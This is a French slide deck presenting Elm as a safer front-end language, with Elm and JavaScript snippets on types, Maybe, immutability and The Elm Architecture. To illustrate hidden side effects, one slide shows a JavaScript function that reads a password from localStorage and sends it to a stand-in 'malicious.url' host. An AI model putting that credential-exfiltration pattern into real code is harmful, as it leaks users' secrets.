Elm : le front-end heureux 😁
@JoGrenat
Remote Mob Programming
On recrute :)
Simplicité
module Main exposing (main)
import Browser
import Html exposing (Html, h1, text)
import Html.Attributes exposing (style)
import Html.Events exposing (onClick)
type alias User =
{ username : String
, elmPreference : ElmPreference
}
type ElmPreference
= LikeElm String
| DontLikeElm
main : Html msg
main =
if userLikeElm you then
h1 [ style "color" "green" ] [ text (you.username ++ ", you like Elm! 🔥") ]
else
h1 [ style "color" "red" ] [ text (you.username ++ ", you don't like Elm?") ]
you : User
you =
{ username = "Jordane"
, elmPreference = LikeElm "very much"
}
userLikeElm : User -> Bool
userLikeElm user =
case user.elmPreference of
LikeElm _ ->
True
DontLikeElm ->
False
- npm / yarn
- Babel
- webpack
- React
- Redux
- Immutable.js
- lodash
- Typescript
- zod
- ...
- Elm
Le compilateur est votre mentor
Versions gérées par le compilateur
1.2.3
Majeure.Mineure.Correctif
Langage statiquement typé
let remoteString = null;
let isLoading = true;
let isOnError = false;
type RemoteString =
Loading
| Loaded String
| OnError Int String
const names = ['Fanny', 'Stéphane', 'Jordane'];
const firstName = names[0];
type Maybe a =
Nothing
| Just a
List.head names
-- Just "Fanny"
-- Nothing
const names = [];
const firstName = names[0]; // undefined
Les erreurs apparaissent rapidement
(pas en prod)
Le refactoring est guidé par le compilateur 👍
Programmation Fonctionnelle
const people = ['Fanny', 'Stéphane', 'Jordane', 'Evan'];
doSomething(people);
🤔
people.splice(2, 1, 'Lucien');
people.slice(1, 3);
🤪
Immutabilité
Penser local
function doSomething(people) {
const password = localStorage.get('password');
fetch('http://malicious.url?password=' + password);
}
😱
const people = List(['Fanny', 'Stéphane', 'Evan']);
doSomething(people);
Pas d'effets secondaires
Sécurité par design
Charge cognitive
😎
<troll>
</troll>
Pas d'exception au runtime
😍
If it compiles, it works!
The Elm Architecture (TEA)
Cmd Msg
Effets de bord
Runtime
Avantages
- Très bonne Developer Experience
- Pas d'exceptions au runtime
- Super messages d'err
- Des types surpuissants
- Excellentes performances
- Des concepts qui s'exportent
Désavantages
- Modèle de gouvernance fermé
- Boilerplate vs Explicite
- Mindset shift
Slides : bit.ly/elm-frontend-heureux
Un workshop pour commencer
Elm, le front-end heureux
By ereold
Elm, le front-end heureux
- 897